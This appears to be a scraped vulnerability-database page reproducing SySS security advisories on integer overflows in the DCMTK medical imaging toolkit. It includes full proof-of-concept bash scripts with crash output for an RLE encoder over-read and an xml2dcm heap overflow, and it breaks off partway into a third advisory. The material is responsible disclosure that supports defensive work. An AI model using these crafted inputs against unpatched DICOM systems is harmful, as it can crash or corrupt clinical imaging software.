~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-049 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version
Dicom DICOM Toolkit Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
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          "product": "DICOM Toolkit",
          "vendor": "Dicom",
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          "value": "Advisory ID:               SYSS-2026-049\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n  if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n      result = EC_CannotChangeRepresentation;\n\n  const Uint32 bytesPerStripe = columns * rows;\n\n\n  frameOffset = frameSize * currentFrame;\n  pixelPointer = pixelData8 + frameOffset + sampleOffset +\n                 bytesAllocated - byte - 1;\n  for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n      rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n     and NumberOfFrames values that make the sanity product overflow\n     to a small value.\n\n  2. The Pixel Data element is set to the small overflowed size.\n\n  3. The sanity check passes, because the overflowed product is \u003c= length.\n\n  4. The encoder enters the stripe loop with the correct (large)\n     bytesPerStripe value.\n\n  5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n    dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n   grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n   grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n   grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n   grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n    exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535                                    #   2, 1 Rows\n(0028,0011) US 2                                        #   2, 1 Columns\n\n(7fe0,0010) OB 41\\42                                    #   2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104==    by 0x40044D2: main (dcmcrle.cc:295)\n==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0025

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-048 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The xml2dcm application and the DcmXMLReader library are vulnerable to a heap buffer overflow when importing external binary files larger than 4 GiB via the binary="file" XML attribute. The file size is measured as size_t but narrowed to Uint32 for the heap allocation, while the full size_t length is used as the fread() read size. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmXMLReader::createBinaryElementFromFile() in libdcxml/xml2dcm.cc (lines 311-330) imports external binary files referenced by binary="file" in XML: const size_t fileSize = OFStandard::getFileSize(filename); size_t buflen = fileSize; if (buflen & 1) buflen++; if (dcmEVR == EVR_OW) result = element->createUint16Array( OFstatic_cast(Uint32, buflen / 2), buf16); else result = element->createUint8Array( OFstatic_cast(Uint32, buflen), buf); if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ... The file size is measured as size_t, narrowed to Uint32 for allocation, and then used as the full size_t read length. The attack chain is as follows: 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes). 2. The attacker crafts a DICOM XML with binary="file" referencing the large file. 3. xml2dcm reads the file size as size_t (4294967297). 4. createUint8Array() allocates only the low 32 bits (2 bytes). 5. fread() writes 4294967297 bytes into the 2-byte buffer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following exploit script creates a sparse 4294967297-byte file and a DICOM XML referencing it as Pixel Data (OB binary="file"), and then runs xml2dcm: cat > poc.sh << 'EOPOC' #!/bin/bash # # XML binary="file" Length Truncation -> Heap Buffer Overflow # Proof of concept exploit for SYSS-2026-048 # # xml2dcm measures file size as size_t, narrows to Uint32 for allocation, # then uses full size_t for fread — causing heap overflow for files > 4 GiB. # # A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space. # fileSize = 4294967297 (0x100000001) # buflen = 4294967298 (odd, rounded up) # set -euo pipefail XML2DCM="xml2dcm" WORKDIR="/tmp/h4_poc_$$" SPARSE_SIZE=4294967297 # 4 GiB + 1 byte echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ===" echo "" echo "Vulnerability: xml2dcm.cc:311-330" echo " size_t fileSize = OFStandard::getFileSize(filename); // 64-bit" echo "" echo "Configuration:" echo " Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)" echo " fread length: $SPARSE_SIZE bytes (full size_t)" echo " xml2dcm: $XML2DCM" echo "" mkdir -p "$WORKDIR" # Step 1: Create sparse file SPARSE_FILE="$WORKDIR/large.bin" echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..." truncate -s "$SPARSE_SIZE" "$SPARSE_FILE" echo "[+] Sparse file: $SPARSE_FILE" ls -lh "$SPARSE_FILE" # Step 2: Create XML referencing the sparse file XML_FILE="$WORKDIR/exploit.xml" echo "" echo "[*] Creating XML file with binary=\"file\" reference..." cat > "$XML_FILE" << XMLEOF <?xml version="1.0" encoding="UTF-8"?> <file-format xmlns="http://dicom.offis.de/dcmtk";> <data-set xfer="1.2.840.10008.1.2"> <element tag="0008,0016" vr="UI">1.2.840.10008.1.2</element> <element tag="0008,0018" vr="UI">1.2.3.4.5.6.7.8.9</element> <element tag="7FE0,0010" vr="OB" binary="file">$SPARSE_FILE</element> </data-set> </file-format> XMLEOF echo "[+] XML file: $XML_FILE" # Step 3: Run xml2dcm OUTPUT_FILE="$WORKDIR/output.dcm" echo "" echo "[*] Running xml2dcm..." echo "" echo "---" echo "Result:" echo " Exit code: $EXIT_CODE" echo " Output:" echo "$OUTPUT" echo "" # Clean up rm -rf "$WORKDIR" if [ $EXIT_CODE -ne 0 ]; then echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE" echo " The 4 GiB + 1 byte sparse file was allocated as 2 bytes" echo " and fread wrote 4 GiB into it, corrupting the heap." else echo "[-] FAIL: xml2dcm did not crash." fi echo "" echo "=== PoC complete ===" EOPOC The exploit causes xml2dcm to abort with "malloc(): invalid size (unsorted)" (SIGABRT), confirming the truncated allocation and heap corruption. === PoC: XML binary="file" Length Truncation -> Heap Overflow === Vulnerability: xml2dcm.cc:311-330 size_t fileSize = OFStandard::getFileSize(filename); // 64-bit Configuration: Allocation: Uint32(4294967297) = 2 bytes (truncated!) fread length: 4294967297 bytes (full size_t) xml2dcm: xml2dcm [*] Creating sparse file of 4294967297 bytes (0 bytes on disk)... [+] Sparse file: /tmp/h4_poc_50290/large.bin - -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin [*] Creating XML file with binary="file" reference... [+] XML file: /tmp/h4_poc_50290/exploit.xml [*] Running xml2dcm... - --- Result: Exit code: 134 Output: malloc(): invalid size (unsorted) [+] SUCCESS: xml2dcm crashed with exit code 134 The 4 GiB + 1 byte sparse file was allocated as 2 bytes and fread wrote 4 GiB into it, corrupting the heap. === PoC complete === ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit ebeafd016bcef34021111550cc2a644129d89825 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-048 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version
Dicom DICOM Toolkit Affected: unknown
Create a notification for this product.

{
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    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
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              "version": "unknown"
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          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
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          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-048\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n  const size_t fileSize = OFStandard::getFileSize(filename);\n  size_t buflen = fileSize;\n  if (buflen \u0026 1)\n      buflen++;\n\n  if (dcmEVR == EVR_OW)\n      result = element-\u003ecreateUint16Array(\n          OFstatic_cast(Uint32, buflen / 2), buf16);\n  else\n      result = element-\u003ecreateUint8Array(\n          OFstatic_cast(Uint32, buflen), buf);\n\n  if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n  1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n  2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n     large file.\n\n  3. xml2dcm reads the file size as size_t (4294967297).\n\n  4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n  5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n#   fileSize = 4294967297 (0x100000001)\n#   buflen   = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297  # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \"  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \"  Allocation:       Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \"  fread length:     $SPARSE_SIZE bytes (full size_t)\"\necho \"  xml2dcm:          $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n  \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n  \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n  \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n    echo \"    and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n    echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\n\n\nConfiguration:\n\n  Allocation:       Uint32(4294967297) = 2 bytes (truncated!)\n  fread length:     4294967297 bytes (full size_t)\n  xml2dcm:          xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n    and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0023

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-046 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's DICOMDIR icon image loading is vulnerable to an integer overflow in the PGM image size calculation. An attacker who can supply a malicious PGM file referenced as an external icon can cause a heap out-of-bounds read in the icon scaler, leading to a process crash or potential information disclosure. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc (line 4489) computes the PGM image buffer size by multiplying the width and height parsed from the PGM file header: unsigned int pgmWidth, 